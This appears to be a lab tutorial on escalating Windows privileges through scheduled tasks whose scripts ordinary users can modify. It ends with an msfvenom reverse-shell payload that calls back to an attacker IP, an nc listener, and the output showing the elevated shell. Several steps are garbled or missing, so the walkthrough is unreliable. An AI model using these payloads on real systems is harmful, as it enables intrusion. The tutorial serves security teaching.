Scheduled tasks, as the name implies, are tasks that are scheduled to be executed at specific time intervals. These tasks can be configured using Windows’ built-in Task Scheduler service. This service can monitor the time or event criteria that we choose and then execute the task when those criteria are met.
The Task Scheduler is automatically installed in multiple Microsoft operating systems:
Task Scheduler 1.0: Installed with Windows Server 2003, Windows XP, and Windows 2000 operating systems.
Task Scheduler 2.0: Installed with Windows Vista and Windows Server 2008.
Tasks can be scheduled to execute in response to these events, or triggers.
When a specific system event occurs.
At a specific time.
At a specific time on a daily schedule.
At a specific time on a weekly schedule.
At a specific time on a monthly schedule.
At a specific time on a monthly day-of-week schedule.
When the computer enters an idle state.
When the task is registered.
When the system is booted.
When a user logs on.
When a Terminal Server session changes state.
Task
The documentation specifies the following:
The following list contains a brief description of each task component:
Triggers: Task Scheduler uses event or time-based triggers to know when to start a task. Every task can specify one or more triggers to start the task.
For more information about triggers, see [Task Triggers](https://learn.microsoft.com/en-us/windows/win32/taskschd/task-triggers).
Actions: These are the actions, the actual work, that is performed by the task. Every task can specify one or more actions to complete its work.
For more information about actions, see Task Actions.
Principals: Principals define the security context in which the task is run. For example, a principal might define a specific user or user group that can run the task.
Settings: These are the settings that the Task Scheduler uses to run the task with respect to conditions that are external to the task itself. For example, these settings can specify the priority of the task with respect to other tasks, whether multiple instances of the task can be run, how the task is handled when the computer is in an idle condition, and other conditions.
Based on the descriptions above, we’re interested in the principal (security context) in which a task is executed. If a tasks can be modified/edited but it runs high privileges, it could be leveraged to elevate our privileges.
Configuration
Create a directory to store tasks.
1
md "C:\Schedule"
Grant full permissions to Authenticated Users groups on the directory.
1
icacls"C:\Schedule"/grant"Autheticated Users:F"
Enable remote unsigned scripts and signed scripts downloaded from the Internet. This command must executed as administrator.
1
powershell.exe/cSet-ExecutionPolicyremotesigned
Create a PowerShell script.
1
Write-Host "Hello World!" > HelloWorld.ps1
Privilege Escalation via Scheduled Tasks
Using the command line, we can view information that is nearly identical and list the scheduled tasks:
Note: In the commands above we were able to list scheduled tasks that run with the integrity level of the current user. This means that if the tasks runs with a higher integrity level we must execute those commands as Administrator in order to enumerate them.
Here is an example of tasks running with higher integrity levels, I’m running PowerShell as administrator:
However, since this SID belongs to NT AUTHORITY\SYSTEM, we aren’t able to query it. Alright to fix this issue we must configure the user of the scheduled tasks:
Lighthouse
Note: We must tick Run with highest privileges in order to be able elevate privileges.
Now we fixed that issue since the user is not NT AUTHORTY\SYSTEM:
Still, the only way that we could find these scheduled tasks named “Custom Task” is by running a console as administrator or by using the Task Scheduler application and this is because we CREATED these tasks to run as NT AUTHORITY\SYSTEM. Therefore the only way to enumerate these tasks is by using the Administrator user or a High Integrity Level process. However, we did create a schedule using the GUI with our current user although by default it runs with High Integrity Level because otherwise, we wouldn’t be able to create scheduled tasks that are configured to run High Integrity Level, i.e, the Run with highest privileges setting. We can see this integrity level from the token with Process Hacker:
Task Scheduler MMC
The problem is in the fact that we did the following parameter /ru "NT AUTHORITY\SYSTEM":
Note: The /RL Highest option is the setting of Run with highest privileges. In order to use this option you must be running from an administrator command line.
As we can see running Autoruns GUI (as a normal user) with our current user:
Task Scheduler AutoRun Fix
Now we know that we SHOULD NOT create tasks that run as NT AUTHORITY\SYSTEM. I’m gonna disable all the tasks that we don’t need:
Task Scheduler Disabled Tasks
If we execute all the previous commands we should be able to enumerate the scheduled tasks from a Medium Integrity Level command line:
Since we’re in the attacker host, we can open a text editor such as Sublime Text:
Sublime Text Scheduled Tasks
We now know there’s an idle setting, let’s see the trigger:
Sublime Text Scheduled Tasks
The time format according to MSDNis the following:
The amount of time between each restart of the task. The format for this string is P<days>DT<hours>H<minutes>M<seconds>S (for example, “PT5M” is 5 minutes, “PT1H” is 1 hour, and “PT20M” is 20 minutes).
Based on the XML data of the scheduled task, the trigger runs every 5 minutes and the idle time has a duration of 10 minutes and it has a 1 hour timeout.
This is way better in my opinion as we can see things clearly:
Sublime Text Scheduled Tasks
Now we’re gonna verify the permissions of the helloworld.ps1 script with icacls:
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: reverse.exe
❯ nc -lvnp 443listening on [any]443 ...
connect to [192.168.119.130] from (UNKNOWN)[192.168.119.129]49961Microsoft Windows [Version 10.0.22000.493](c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID=================================================================desktop-bn\user S-1-5-21-264094270-2388996790-3434637240-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes========================================================================================================================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State===================================================================================================================SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
ERROR: Unable to get user claims information.
As we can see we have elevated our privileges medium integrity level to high integrity level.